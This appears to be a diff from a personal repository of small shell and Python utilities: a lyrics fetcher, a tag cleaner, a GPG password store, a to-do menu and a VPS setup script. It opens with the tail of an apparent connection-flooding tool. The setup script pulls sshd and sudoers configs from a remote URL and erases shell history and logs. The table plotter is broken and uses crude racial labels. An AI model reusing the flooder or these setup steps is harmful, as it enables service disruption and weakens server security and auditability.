checks = {executor.submit(clone(line).connect): line for line in data_lines}
for future in concurrent.futures.as_completed(checks):
checks[future]
debug('Flooding is complete.')

7
lyrics.py Normal file
View File

@ -0,0 +1,7 @@
#!/usr/bin/env python
# requires: https://pypi.org/project/lyricsgenius/
import sys, lyricsgenius
genius = lyricsgenius.Genius('CLIENT ACCESS TOKEN') # http://genius.com/api-clients
genius.verbose = False
song = genius.search_song(sys.argv[2], sys.argv[1])
print(song.lyrics) if song else print('no lyrics found')

12
mutag Executable file
View File

@ -0,0 +1,12 @@
#!/bin/sh
# requires: id3v2 python-eyed3
# this script removes all id3 tags/album art & sets 'artist' to the directory name & 'song' to the file name
find $HOME/music -type f | while read SONG; do
DIR=$(dirname "$SONG")
ARTIST=$(basename "$DIR")
TITLE=$(basename "$SONG" | rev | cut -d"." -f2- | rev)
echo "$DIR | $ARTIST | $TITLE"
eyeD3 --remove-all-images "$SONG"
id3v2 --delete-all "$SONG"
id3v2 --artist "$ARTIST" --song "$TITLE" -2 "$SONG"
done

65
pass Executable file
View File

@ -0,0 +1,65 @@
#!/bin/sh
# developed by acidvegas (https://acid.vegas/pass)
# todo: oathtool check for git gpg gpg2 oathtool shred xclip
GPG_ID="acidvegas"
GPG_OPTS="--quiet --yes --compress-algo=none --no-encrypt-to --batch --use-agent"
PASS_DIR=$HOME/.secrets
gc() {
git -C $PASS_DIR add -A
git -C $PASS_DIR commit -m "$@"
}
edit() {
if [ -d /dev/shm ] && [ -w /dev/shm ] && [ -x /dev/shm ]; then
tmp=$(mktemp -u /dev/shm/pw.XXXXXXXXXX)
else
tmp=$(mktemp -u pw.XXXXXXXXXX)
fi
trap "shred -f -z $tmp" EXIT
if [ -f $PASS_DIR/$1.gpg ]; then
gpg2 -d -o $tmp $GPG_OPTS $PASS_DIR/$1.gpg
nano $tmp
if [ ! "$(gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg)" = "$(cat $tmp)" ]; then
gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp
gc "modified $1"
fi
else
nano $tmp
if [ -f $tmp ]; then
mkdir -p $(dirname $PASS_DIR/$1)
gpg2 -e -r $GPG_ID -o $PASS_DIR/$1.gpg $GPG_OPTS $tmp
gc "created $1"
fi
fi
}
otp() {
echo "not done"
}
show() {
if [ -f $PASS_DIR/$1.gpg ]; then
gpg2 -d $GPG_OPTS $PASS_DIR/$1.gpg
else
echo "error: $1 does not exist"
fi
}
set -f+x
export GPG_TTY=$(tty)
umask 077
mkdir -p $PASS_DIR
if [ "$#" = '2' ]; then
if [ "$1" = "edit" ]; then
edit $2
elif [ "$1" = "otp" ]; then
otp $2
fi
elif [ "$#" = '1' ]; then
show $1
else
tree -C -l --noreport $PASS_DIR | tail -n +2 | sed -E 's/\.gpg(\x1B\[[0-9]+m)?( ->|$)/\1\2/g'
fi

19
tables.py Normal file
View File

@ -0,0 +1,19 @@
#!/usr/bin/env python
# table plotter - developed by acidvegas in python (https://acid.vegas/random)
# tableplot.py
data = {
'number' : ('1','2','3','4','5'),
'name' : ('mark', 'steven', 'fredrick', 'bronzel', 'billy'),
'race' : ('simpson', 'WHITE BOI', 'peckerwood', 'bird', 'fartman')
}
def table(data):
columns = len(data)
for item in data:
max(data[item], key=len)
print('' + ''*amount + '')
print('' + title + ' '*amounnt + '')
print('├───────────┼────────────────┼───────┤')
print('└───────────┴────────────────┴───────┘')

17
todo Executable file
View File

@ -0,0 +1,17 @@
#!/bin/sh
#todo: custom dmenu args cleaner, cli only mode
db=$HOME/.todo
touch $db
while :
do
cmd=$(dmenu -l 10 -m 0 -fn "Misc Ohsnap.Icons:style=Regular:size=11" -nb "#000000" -nf "#FFFFFF" -sb "#000000" -sf "#00D787" "$@" < "$db")
if [ -z "$cmd" ]; then
break
elif grep -q "^$cmd\$" "$db"; then
grep -v "^$cmd\$" "$db" > "$db.$$"
mv "$db.$$" "$db"
else
echo "$cmd" >> "$db"
fi
done
exit 0

25
vps.sh Normal file
View File

@ -0,0 +1,25 @@
#!/bin/sh
set -xev
GIT_URL="https://raw.githubusercontent.com/acidvegas/archlinux/master"
passwd root
userdel -r alarm
useradd -m -s /bin/bash acidvegas && gpasswd -a acidvegas wheel && passwd acidvegas
timedatectl set-timezone America/New_York && timedatectl set-ntp true
echo "LANG=en_US.UTF-8" > /etc/locale.conf && echo "en_US.UTF-8 UTF-8" > /etc/locale.gen && locale-gen
pacman-key --init && pacman-key --populate archlinux
pacman -Syyu
pacman -S gcc make patch pkg-config python python-pip
pacman -S abduco exa git man ncdu sudo tor weechat which
echo "clear && reset" > /etc/bash.bash_logout
echo -e "export VISUAL=nano\nexport EDITOR=nano\nunset HISTFILE\nln /dev/null ~/.bash_history -sf" >> /etc/profile
echo "[[ -f ~/.bashrc ]] && . ~/.bashrc" > /root/.bash_profile
echo -e "[[ $- != *i* ]] && return\nalias diff='diff --color=auto'\nalias grep='grep --color=auto'\nalias ls='ls --color=auto'\nPS1='\e[1;31m> \e[0;33m\w \e[0;37m: '" > /root/.bashrc
source /root/.bashrc
history -c && export HISTFILESIZE=0 && export HISTSIZE=0 && unset HISTFILE
[ -f /root/.bash_history ] && rm /root/.bash_history
wget -O /etc/ssh/sshd_config $GIT_URL/etc/ssh/sshd_config
wget -O /etc/sudoers.d/sudoers.lecture $GIT_URL/etc/sudoers.d/sudoers.lecture
wget -O /etc/topdefaultrc $GIT_URL/etc/topdefaultrc
echo -e "set boldtext\nset markmatch\nset minibar\nset morespace\nset nohelp\nset nonewlines\nset nowrap\nset quickblank\nset tabsize 4\nunbind ^J main\ninclude \"/usr/share/nano/*.nanorc\"" > /etc/nanorc
echo -e "Defaults lecture = always\nDefaults lecture_file = /etc/sudoers.d/sudoers.lecture\nroot ALL=(ALL) ALL\n%wheel ALL=(ALL) ALL" > /etc/sudoers
echo -e "[Journal]\nStorage=volatile\nSplitMode=none\nRuntimeMaxUse=500K" > /etc/systemd/journald.conf